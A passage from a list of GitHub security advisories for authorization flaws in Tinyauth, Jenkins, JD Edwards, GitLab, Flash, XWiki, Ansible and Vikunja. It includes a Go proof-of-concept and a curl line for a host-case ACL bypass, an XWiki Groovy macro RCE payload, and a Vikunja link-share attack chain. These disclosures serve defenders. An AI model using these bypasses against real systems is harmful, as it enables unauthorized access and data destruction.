legitimately-authenticated low-privileged user. He is NOT in\n\t// immich\u0027s users.allow list.\n\tbobCtx := func(c *gin.Context) {\n\t\tc.Set(\"context\", \u0026config.UserContext{\n\t\t\tUsername: \"bob\",\n\t\t\tName: \"Bob\",\n\t\t\tEmail: \"bob@example.com\",\n\t\t\tIsLoggedIn: true,\n\t\t\tProvider: \"local\",\n\t\t})\n\t\tc.Next()\n\t}\n\n\t// Shared services (mirrors the project\u0027s own proxy_controller_test.go).\n\tapp := bootstrap.NewBootstrapApp(config.Config{})\n\tdb, err := app.SetupDatabase(path.Join(tempDir, \"tinyauth.db\"))\n\trequire.NoError(t, err)\n\tdefer func() { _ = db.Close() }()\n\n\tqueries := repository.New(db)\n\n\tdocker := service.NewDockerService()\n\trequire.NoError(t, docker.Init())\n\n\tldap := service.NewLdapService(service.LdapServiceConfig{})\n\trequire.NoError(t, ldap.Init())\n\n\tbroker := service.NewOAuthBrokerService(make(map[string]config.OAuthServiceConfig))\n\trequire.NoError(t, broker.Init())\n\n\tauthService := service.NewAuthService(authServiceCfg, docker, ldap, queries, broker)\n\trequire.NoError(t, authService.Init())\n\n\taclsService := service.NewAccessControlsService(docker, acls)\n\n\tnewRouter := func() *gin.Engine {\n\t\tgin.SetMode(gin.TestMode)\n\t\trouter := gin.New()\n\t\trouter.Use(bobCtx)\n\t\tgroup := router.Group(\"/api\")\n\t\tpc := controller.NewProxyController(controllerCfg, group, aclsService, authService)\n\t\tpc.SetupRoutes()\n\t\treturn router\n\t}\n\n\tforwardAuth := func(host string) *httptest.ResponseRecorder {\n\t\trec := httptest.NewRecorder()\n\t\treq := httptest.NewRequest(\"GET\", \"/api/auth/traefik\", nil)\n\t\treq.Header.Set(\"x-forwarded-host\", host)\n\t\treq.Header.Set(\"x-forwarded-proto\", \"https\")\n\t\treq.Header.Set(\"x-forwarded-uri\", \"/\")\n\t\tnewRouter().ServeHTTP(rec, req)\n\t\treturn rec\n\t}\n\n\t// 1. Control: exact-case host -\u003e ACL is found, bob is NOT in users.allow -\u003e 403.\n\tlower := forwardAuth(\"immich.example.com\")\n\tt.Logf(\"[control] x-forwarded-host=immich.example.com -\u003e %d remote-user=%q\", lower.Code, lower.Header().Get(\"Remote-User\"))\n\tassert.Equal(t, 403, lower.Code, \"boundary must block bob at the exact-case host\")\n\n\t// 2. Bypass: upper-case host -\u003e ACL lookup misses (case-sensitive ==),\n\t// empty App fail-open -\u003e 200 Authenticated + Remote-User leaks bob.\n\tupper := forwardAuth(\"IMMICH.example.com\")\n\tt.Logf(\"[BYPASS] x-forwarded-host=IMMICH.example.com -\u003e %d remote-user=%q\", upper.Code, upper.Header().Get(\"Remote-User\"))\n\n\trequire.Equalf(t, 200, upper.Code, \"expected the mixed-case host to bypass the users.allow ACL\")\n\trequire.Equalf(t, \"bob\", upper.Header().Get(\"Remote-User\"), \"tinyauth authorized bob for immich across the ACL boundary\")\n}\n```\n\nObserved output (v5.0.7; trimmed to the two decisive log lines):\n\n```text\n=== RUN TestForwardAuthHostCaseACLBypass\n... access_controls_service.go: Found matching container by domain name=immich\n... proxy_controller.go: User not allowed to access resource resource=immich user=bob\n zzz_poc_test.go: [control] x-forwarded-host=immich.example.com -\u003e 403 remote-user=\"\"\n... access_controls_service.go: Falling back to Docker labels for ACLs\n... docker_service.go: Docker not connected, returning empty labels\n zzz_poc_test.go: [BYPASS] x-forwarded-host=IMMICH.example.com -\u003e 200 remote-user=\"bob\"\n--- PASS: TestForwardAuthHostCaseACLBypass (0.06s)\nPASS\nok \tgithub.com/steveiliop56/tinyauth/internal/controller\t0.067s\n```\n\nThe control request (`immich.example.com`) finds the ACL and correctly returns `403` for bob; the identical request with an upper-cased host (`IMMICH.example.com`) misses the ACL, falls back to the empty App, and returns `200 Authenticated` with `Remote-User: bob`. In a live deployment the identical effect is reached over HTTP by requesting the protected app with a mixed-case `Host` header, e.g. `curl -H \u0027Host: IMMICH.example.com\u0027 https://\u003cproxy\u003e/` with bob\u0027s session cookie \u2014 the proxy routes it to immich and forwards the mixed-case host to tinyauth, which authorizes bob.\n\n## Remediation\n\n- **Canonicalize the host before the ACL decision.** Lower-case (and strip any trailing dot / port from) the forwarded host in `getForwardAuthContext` / `getAuthRequestContext` / `getExtAuthzContext`, and store both the ACL `apps` keys and each `config.domain` / label domain lower-cased, so the lookup is case-insensitive. Equivalently, compare with `strings.EqualFold`. This closes the case, trailing-dot, and port-variant encodings in one place.\n- **Fail closed on an ACL miss.** `GetAccessControls` / `GetLabels` should distinguish \"no ACL configured for this host\" from \"empty ACL that allows everyone.\" When no app matches the requested host, the forward-auth handler should not authorize a user by defaulting to an empty allow-all `App`; it should apply a deny-by-default (or an explicit, documented default policy) rather than returning `config.App{}, nil`. Returning an all-empty `App` as the fallback is the fail-open that turns the lookup miss into an authorization bypass.\n- Add a regression test asserting that a user excluded by `users.allow` is still `403` when the same host is supplied in mixed case, with a trailing dot, and with an added port.\n\nPlease credit 5ud0 / Tarmo Technologies.",
"id": "GHSA-328g-jx67-v94g",
"modified": "2026-09-22T20:37:08Z",
"published": "2026-09-22T20:37:08Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/tinyauthapp/tinyauth/security/advisories/GHSA-328g-jx67-v94g"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-77560"
},
{
"type": "WEB",
"url": "https://github.com/tinyauthapp/tinyauth/pull/1000"
},
{
"type": "WEB",
"url": "https://github.com/tinyauthapp/tinyauth/pull/1028"
},
{
"type": "WEB",
"url": "https://github.com/tinyauthapp/tinyauth/commit/80bc87188ec3aabc5104c249eaa7b997973b9275"
},
{
"type": "WEB",
"url": "https://github.com/tinyauthapp/tinyauth/commit/e75605b2c534ec83525a33603e16d76baca13399"
},
{
"type": "PACKAGE",
"url": "https://github.com/tinyauthapp/tinyauth"
},
{
"type": "WEB",
"url": "https://github.com/tinyauthapp/tinyauth/releases/tag/v5.1.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Tinyauth: forward-auth per-app ACL is matched case-sensitively against the (case-insensitive) hostname, letting an authenticated user reach apps they are not on the allowlist for"
}
GHSA-3297-944X-J7X7
Vulnerability from github – Published: 2022-05-13 01:16 – Updated: 2022-11-02 00:42Jenkins before versions before 2.44 are vulnerable to an insufficient permission check for periodic processes (SECURITY-389). The URLs /workspaceCleanup and /fingerprintCleanup did not perform permission checks, allowing users with read access to Jenkins to trigger these background processes (that are otherwise performed daily), possibly causing additional load on Jenkins master and agents.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.jenkins-ci.main:jenkins-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.44"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2017-2611"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2022-11-02T00:42:19Z",
"nvd_published_at": "2018-05-08T18:29:00Z",
"severity": "MODERATE"
},
"details": "Jenkins before versions before 2.44 are vulnerable to an insufficient permission check for periodic processes (SECURITY-389). The URLs /workspaceCleanup and /fingerprintCleanup did not perform permission checks, allowing users with read access to Jenkins to trigger these background processes (that are otherwise performed daily), possibly causing additional load on Jenkins master and agents.",
"id": "GHSA-3297-944x-j7x7",
"modified": "2022-11-02T00:42:19Z",
"published": "2022-05-13T01:16:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-2611"
},
{
"type": "WEB",
"url": "https://github.com/jenkinsci/jenkins/commit/97a61a9fe55f4c16168c123f98301a5173b9fa86"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2017-2611"
},
{
"type": "WEB",
"url": "https://jenkins.io/security/advisory/2017-02-01"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/95956"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "Incorrect Authorization in Jenkins Core"
}
GHSA-329P-RHMW-5HXX
Vulnerability from github – Published: 2025-01-21 21:30 – Updated: 2025-01-21 21:30Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Web Runtime SEC). Supported versions that are affected are Prior to 9.2.9.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise JD Edwards EnterpriseOne Tools. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of JD Edwards EnterpriseOne Tools accessible data. CVSS 3.1 Base Score 4.3 (Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N).
{
"affected": [],
"aliases": [
"CVE-2025-21517"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-21T21:15:17Z",
"severity": "MODERATE"
},
"details": "Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Web Runtime SEC). Supported versions that are affected are Prior to 9.2.9.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise JD Edwards EnterpriseOne Tools. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of JD Edwards EnterpriseOne Tools accessible data. CVSS 3.1 Base Score 4.3 (Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N).",
"id": "GHSA-329p-rhmw-5hxx",
"modified": "2025-01-21T21:30:55Z",
"published": "2025-01-21T21:30:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-21517"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpujan2025.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-32C7-MV5C-M5RR
Vulnerability from github – Published: 2021-12-14 00:00 – Updated: 2022-07-13 00:01Improper access control allows any project member to retrieve the service desk email address in GitLab CE/EE versions starting 12.10 before 14.3.6, all versions starting from 14.4 before 14.4.4, all versions starting from 14.5 before 14.5.2.
{
"affected": [],
"aliases": [
"CVE-2021-39934"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-12-13T16:15:00Z",
"severity": "MODERATE"
},
"details": "Improper access control allows any project member to retrieve the service desk email address in GitLab CE/EE versions starting 12.10 before 14.3.6, all versions starting from 14.4 before 14.4.4, all versions starting from 14.5 before 14.5.2.",
"id": "GHSA-32c7-mv5c-m5rr",
"modified": "2022-07-13T00:01:39Z",
"published": "2021-12-14T00:00:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-39934"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/1360744"
},
{
"type": "WEB",
"url": "https://gitlab.com/gitlab-org/cves/-/blob/master/2021/CVE-2021-39934.json"
},
{
"type": "WEB",
"url": "https://gitlab.com/gitlab-org/gitlab/-/issues/342823"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-32FR-79CM-96P3
Vulnerability from github – Published: 2022-05-14 02:22 – Updated: 2022-05-14 02:22Adobe Flash Player before 18.0.0.366 and 19.x through 22.x before 22.0.0.209 on Windows and OS X and before 11.2.202.632 on Linux allows attackers to bypass intended access restrictions and obtain sensitive information via unspecified vectors.
{
"affected": [],
"aliases": [
"CVE-2016-4178"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2016-07-13T01:59:00Z",
"severity": "MODERATE"
},
"details": "Adobe Flash Player before 18.0.0.366 and 19.x through 22.x before 22.0.0.209 on Windows and OS X and before 11.2.202.632 on Linux allows attackers to bypass intended access restrictions and obtain sensitive information via unspecified vectors.",
"id": "GHSA-32fr-79cm-96p3",
"modified": "2022-05-14T02:22:51Z",
"published": "2022-05-14T02:22:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2016-4178"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2016:1423"
},
{
"type": "WEB",
"url": "https://docs.microsoft.com/en-us/security-updates/securitybulletins/2016/ms16-093"
},
{
"type": "WEB",
"url": "https://helpx.adobe.com/security/products/flash-player/apsb16-25.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2016-07/msg00016.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2016-07/msg00017.html"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/91723"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1036280"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-32MF-57H2-64X9
Vulnerability from github – Published: 2025-07-14 22:03 – Updated: 2025-07-15 00:35Impact
The default macro content parser didn't preserve the restricted attribute of the transformation context when executing nested macros. This allows executing macros that are normally forbidden in restricted mode, in particular script macros. The cache and chart macros that are bundled in XWiki use the vulnerable feature. The following XWiki syntax, when used inside a comment in XWiki, demonstrates the privilege escalation from comment right to programming right and thus remote code execution (RCE) that is possible due to this:
{{cache}}{{groovy}}println("Hello from Groovy!"){{/groovy}}{{/cache}}
This vulnerability exists since the restricted attribute has been added to the transformation context in version 4.2.
Patches
This has been patched in XWiki 13.10.11, 14.4.7 and 14.10.
Workarounds
To avoid the exploitation of this bug, comments can be disabled for untrusted users until an upgrade to a patched version has been performed. Note that users with edit rights will still be able to add comments via the object editor even if comments have been disabled.
Resources
- https://github.com/xwiki/xwiki-rendering/commit/c73fa3ccd4ac59057e48e5d4325f659e78e8f86d
- https://jira.xwiki.org/browse/XRENDERING-689
- https://jira.xwiki.org/browse/XWIKI-20375
For more information
If you have any questions or comments about this advisory: * Open an issue in Jira XWiki.org * Email us at Security Mailing List
Attribution
This vulnerability has been reported on Intigriti by René de Sain @renniepak.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.xwiki.rendering:xwiki-rendering-transformation-macro"
},
"ranges": [
{
"events": [
{
"introduced": "4.2-milestone-1"
},
{
"fixed": "13.10.11"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.xwiki.rendering:xwiki-rendering-transformation-macro"
},
"ranges": [
{
"events": [
{
"introduced": "14.0"
},
{
"fixed": "14.4.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.xwiki.rendering:xwiki-rendering-transformation-macro"
},
"ranges": [
{
"events": [
{
"introduced": "14.5"
},
{
"fixed": "14.10"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-53836"
],
"database_specific": {
"cwe_ids": [
"CWE-863",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2025-07-14T22:03:06Z",
"nvd_published_at": "2025-07-15T00:15:22Z",
"severity": "CRITICAL"
},
"details": "### Impact\n\nThe default macro content parser didn\u0027t preserve the restricted attribute of the transformation context when executing nested macros. This allows executing macros that are normally forbidden in restricted mode, in particular script macros. The [cache](https://extensions.xwiki.org/xwiki/bin/view/Extension/Cache%20Macro) and [chart](https://extensions.xwiki.org/xwiki/bin/view/Extension/Chart%20Macro) macros that are bundled in XWiki use the vulnerable feature. The following XWiki syntax, when used inside a comment in XWiki, demonstrates the privilege escalation from comment right to programming right and thus remote code execution (RCE) that is possible due to this:\n\n```\n{{cache}}{{groovy}}println(\"Hello from Groovy!\"){{/groovy}}{{/cache}}\n```\n\nThis vulnerability exists since the restricted attribute has been added to the transformation context in version 4.2.\n\n### Patches\nThis has been patched in XWiki 13.10.11, 14.4.7 and 14.10.\n\n### Workarounds\nTo avoid the exploitation of this bug, comments can be disabled for untrusted users until an upgrade to a patched version has been performed. Note that users with edit rights will still be able to add comments via the object editor even if comments have been disabled.\n\n### Resources\n* https://github.com/xwiki/xwiki-rendering/commit/c73fa3ccd4ac59057e48e5d4325f659e78e8f86d\n* https://jira.xwiki.org/browse/XRENDERING-689\n* https://jira.xwiki.org/browse/XWIKI-20375\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [Jira XWiki.org](https://jira.xwiki.org/)\n* Email us at [Security Mailing List](mailto:security@xwiki.org)\n\n### Attribution\n\nThis vulnerability has been reported on Intigriti by Ren\u00e9 de Sain @renniepak.",
"id": "GHSA-32mf-57h2-64x9",
"modified": "2025-07-15T00:35:24Z",
"published": "2025-07-14T22:03:06Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/xwiki/xwiki-rendering/security/advisories/GHSA-32mf-57h2-64x9"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53836"
},
{
"type": "WEB",
"url": "https://github.com/xwiki/xwiki-rendering/commit/c73fa3ccd4ac59057e48e5d4325f659e78e8f86d"
},
{
"type": "PACKAGE",
"url": "https://github.com/xwiki/xwiki-rendering"
},
{
"type": "WEB",
"url": "https://jira.xwiki.org/browse/XRENDERING-689"
},
{
"type": "WEB",
"url": "https://jira.xwiki.org/browse/XWIKI-20375"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "XWiki Rendering is vulnerable to RCE attacks when processing nested macros"
}
GHSA-32P4-GM2C-WMCH
Vulnerability from github – Published: 2024-11-06 12:31 – Updated: 2025-11-04 16:53A flaw was found in Ansible. The ansible-core user module can allow an unprivileged user to silently create or replace the contents of any file on any system path and take ownership of it when a privileged user executes the user module against the unprivileged user's home directory. If the unprivileged user has traversal permissions on the directory containing the exploited target file, they retain full control over the contents of the file as its owner.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "ansible-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.14.18rc1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "ansible-core"
},
"ranges": [
{
"events": [
{
"introduced": "2.15.0b1"
},
{
"fixed": "2.15.13rc1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "ansible-core"
},
"ranges": [
{
"events": [
{
"introduced": "2.16.0b1"
},
{
"fixed": "2.16.13rc1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "ansible-core"
},
"ranges": [
{
"events": [
{
"introduced": "2.17.0b1"
},
{
"fixed": "2.17.6rc1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "ansible-core"
},
"ranges": [
{
"events": [
{
"introduced": "2.18.0b1"
},
{
"fixed": "2.18.0rc2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-9902"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2024-11-06T15:37:19Z",
"nvd_published_at": "2024-11-06T10:15:06Z",
"severity": "MODERATE"
},
"details": "A flaw was found in Ansible. The ansible-core `user` module can allow an unprivileged user to silently create or replace the contents of any file on any system path and take ownership of it when a privileged user executes the `user` module against the unprivileged user\u0027s home directory. If the unprivileged user has traversal permissions on the directory containing the exploited target file, they retain full control over the contents of the file as its owner.",
"id": "GHSA-32p4-gm2c-wmch",
"modified": "2025-11-04T16:53:27Z",
"published": "2024-11-06T12:31:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-9902"
},
{
"type": "WEB",
"url": "https://github.com/ansible/ansible/commit/03794735d370db98a5ec2ad514fab2b0dd22d6be"
},
{
"type": "WEB",
"url": "https://github.com/ansible/ansible/commit/03daf774d0d80fb7235910ed1c2b4fbcaebdfe65"
},
{
"type": "WEB",
"url": "https://github.com/ansible/ansible/commit/3b6de811abea0a811e03e3029222a7e459922892"
},
{
"type": "WEB",
"url": "https://github.com/ansible/ansible/commit/9d7312f695639e804d2caeb1d0f51c716a9ac7dd"
},
{
"type": "WEB",
"url": "https://github.com/ansible/ansible/commit/f7be90626da3035c697623dcf9c90b7a0bc91c92"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2024:10762"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2024:8969"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2024:9894"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2025:1861"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2024-9902"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2318271"
},
{
"type": "PACKAGE",
"url": "https://github.com/ansible/ansible"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2024/11/msg00021.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:A/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "ansible-core Incorrect Authorization vulnerability"
}
GHSA-32R8-5843-4QW2
Vulnerability from github – Published: 2026-10-09 20:43 – Updated: 2026-10-09 20:43Summary
Vikunja's web.Auth interface (pkg/web/web.go, single method GetID() int64) is satisfied by BOTH *user.User and *models.LinkSharing. A link-share's GetID() returns the raw positive share.ID (pkg/models/link_sharing.go:83-85), which lives in the same positive autoincrement ID space as users.id. The safe negated form getUserID() = share.ID * -1 (link_sharing.go:126-128) exists but is NOT used at three permission sinks. As a result, a link-share principal with id N — which should have zero authority over teams or bot users — is treated as the user whose users.id == N at three permission checks that lack the a.(*LinkSharing) guard their sibling methods have. This is the same principal-type-confusion class as CVE-2026-68581 (GHSA-vvcv-vpph-h844), but at three code paths that advisory/fix never touched.
Root Cause
web.Auth is a one-method interface (GetID() int64). *LinkSharing.GetID() returns the raw positive share id. Three permission methods compare this raw id directly and omit the link-share type guard used elsewhere in the same files:
TeamMember.CanDelete(pkg/models/team_members_permissions.go:31-40): the self-removal fast pathif u.ID == a.GetID() { return true }(:36) executes beforeIsAdmin.IsAdmin(:48-51) is the ONLY place that rejects link shares (if _, is := a.(*LinkSharing); is { return false }, :50) — and it is never reached when the fast path returns true.BotUser.isOwner(pkg/models/bot_users_permissions.go:47-56):return u.BotOwnerID == a.GetID()(:55), used byCanRead/CanUpdate/CanDelete(:36-45). UnlikeCanCreate(:27-30) which type-assertsa.(*user.User), these three paths have no principal guard.Team.CanRead(pkg/models/teams_permissions.go:68-78): matches membership onAnd("user_id = ?", a.GetID())(:76) with no link-share guard, unlike siblingIsAdmin(:45-49, guard at :47).
Link-share JWTs reach these routes: SetupTokenMiddleware validates the signature only, GetAuthFromClaims returns *models.LinkSharing, and the /user//teams route groups add no link-share rejection. Link sharing is enabled by default (config.go ServiceEnableLinkSharing.setDefault(true)).
Impact
A link-share principal (obtainable from any public share link, or self-registered via a share on the attacker's own project) whose id N collides with a victim's users.id == N can, without being that user or any user:
- Integrity (I:H): remove the victim from any team they belong to (DELETE /api/v1/teams/{T}/members/{username}) → revokes all project permissions the victim inherited through that team.
- Availability/Integrity (A:H, I:H): enumerate the victim's bot users (GET /api/v1/user/bots → bot_owner_id = a.GetID()), then disable/rename or permanently delete them (DELETE /api/v1/user/bots/{id} → DeleteUser), destroying data owned solely by those bots.
- Confidentiality (C:H): read the roster + metadata (name, description, full member list) of any team the colliding user belongs to (GET /api/v1/teams/{T}), plus read bot-user records via isOwner-gated reads.
Attack Chain
Sink 1 — TeamMember.CanDelete (integrity)
- Entry:
POST /api/v1/shares/{hash}/auth→ link-share JWT withid = N. Guard: JWT middleware — signature only. Bypass proof:GetAuthFromClaimsreturns*models.LinkSharing; no route-group link-share rejection on the/teamsgroup. - Action:
DELETE /api/v1/teams/{T}/members/{usernameOfUserN}with the link-share bearer, targeting a teamT(≥2 members) that userNbelongs to. Guard:CanDelete→GetUserByUsername(tm.Username)returns user N, thenu.ID == a.GetID()(team_members_permissions.go:36). Bypass proof:a.GetID()returnsN(raw positiveshare.ID,link_sharing.go:84) == user N's id →true. Noa.(*LinkSharing)check on this branch (onlyIsAdminat :50 has it, never reached). - Sink:
Delete(team_members.go) removes user N from team T (last-member check passes when team has ≥2 members). Impact: victim loses all project access inherited through team T.
Sink 2 — BotUser.isOwner (bot takeover / destruction)
- Entry: link-share JWT id N (as above). Guard: signature-only;
/usergroup adds no link-share reject. - Enumerate:
GET /api/v1/user/bots→ReadAllrunsWhere("bot_owner_id = ?", a.GetID())= bots owned by user N. Bypass proof:a.GetID()= N; returns victim's bot ids self-contained (removes the id-guessing barrier). - Sink:
DELETE /api/v1/user/bots/{botId}→CanDelete→isOwner→u.BotOwnerID == a.GetID()(bot_users_permissions.go:55) → true;DeletecallsDeleteUser. Bypass proof: noa.(*LinkSharing)guard here (Create-only, :28). Impact: disable/rename/permanently delete victim's bot automation identities.
Sink 3 — Team.CanRead (info disclosure)
- Entry: link-share JWT id N. Guard: signature-only; no reject on
GET /teams/:team. - Sink:
GET /api/v1/teams/{T}→CanReadrunsWhere("team_id=?", t.ID).And("user_id=?", a.GetID()).Get(tm)(teams_permissions.go:74-77). Bypass proof:a.GetID()= N matches user N'steam_membersrow →can = true; noa.(*LinkSharing)check (contrastIsAdminat :47). Impact: read roster + metadata of a team the link share is not part of.
Bypass Evidence
link_sharing.go:83-85GetID()returns raw positiveshare.ID(NOT the negatedgetUserID()at :126-128).team_members_permissions.go:36rawu.ID == a.GetID()beforeIsAdmin; the LinkSharing guard sits at :50 on a branch never reached when the fast path returns true.bot_users_permissions.go:55rawu.BotOwnerID == a.GetID(); thea.(*user.User)guard at :28 is Create-only and NOT replicated onisOwner.teams_permissions.go:76rawa.GetID()inCanRead; siblingIsAdminhas the guard at :47,CanReadomits it.- All three sinks verified present on latest release tag
v2.4.0(git show v2.4.0:<file>). No fix commits touch these files between v2.4.0 and HEAD (the only post-tag commit to link_sharing.go,c580d51, merely shadows an embedded Update method).
Affected Versions
<= 2.4.0 (latest release; also present on HEAD of main). Requires default-enabled link sharing.
Exploitability Constraint (reflected in AC:H)
The attacker cannot freely choose the colliding id — link_shares.id is autoincrement. Exploitation is (a) opportunistic (a guest holding a share with id N attacks the user whose users.id == N) or (b) targeted (self-register and walk the autoincrement toward a chosen id; low-numbered shares collide with low-numbered/early/admin accounts). This is the identical constraint the accepted CVE-2026-68581 had; it affects target selection (AC), not reachability of the boundary crossing.
Suggested Fix
Add the link-share principal guard (if _, is := a.(*LinkSharing); is { return false }) — which IsAdmin/CanCreate already use — to all three sinks: the TeamMember.CanDelete self-removal fast path (before the u.ID == a.GetID() check), BotUser.isOwner, and Team.CanRead. Alternatively, resolve principals through getUserID() (negated id space) at every permission check so link-share ids can never collide with user ids.
Reported by zx (Jace) — GitHub: @manus-use
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "code.vikunja.io/api"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2.4.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-76216"
],
"database_specific": {
"cwe_ids": [
"CWE-639",
"CWE-843",
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-09T20:43:40Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\nVikunja\u0027s `web.Auth` interface (`pkg/web/web.go`, single method `GetID() int64`) is satisfied by BOTH `*user.User` and `*models.LinkSharing`. A link-share\u0027s `GetID()` returns the **raw positive** `share.ID` (`pkg/models/link_sharing.go:83-85`), which lives in the same positive autoincrement ID space as `users.id`. The safe negated form `getUserID() = share.ID * -1` (`link_sharing.go:126-128`) exists but is NOT used at three permission sinks. As a result, a link-share principal with id `N` \u2014 which should have zero authority over teams or bot users \u2014 is treated as the *user* whose `users.id == N` at three permission checks that lack the `a.(*LinkSharing)` guard their sibling methods have. This is the same principal-type-confusion class as CVE-2026-68581 (GHSA-vvcv-vpph-h844), but at three code paths that advisory/fix never touched.\n\n## Root Cause\n`web.Auth` is a one-method interface (`GetID() int64`). `*LinkSharing.GetID()` returns the raw positive share id. Three permission methods compare this raw id directly and omit the link-share type guard used elsewhere in the same files:\n\n1. **`TeamMember.CanDelete`** (`pkg/models/team_members_permissions.go:31-40`): the self-removal fast path `if u.ID == a.GetID() { return true }` (:36) executes **before** `IsAdmin`. `IsAdmin` (:48-51) is the ONLY place that rejects link shares (`if _, is := a.(*LinkSharing); is { return false }`, :50) \u2014 and it is never reached when the fast path returns true.\n2. **`BotUser.isOwner`** (`pkg/models/bot_users_permissions.go:47-56`): `return u.BotOwnerID == a.GetID()` (:55), used by `CanRead`/`CanUpdate`/`CanDelete` (:36-45). Unlike `CanCreate` (:27-30) which type-asserts `a.(*user.User)`, these three paths have no principal guard.\n3. **`Team.CanRead`** 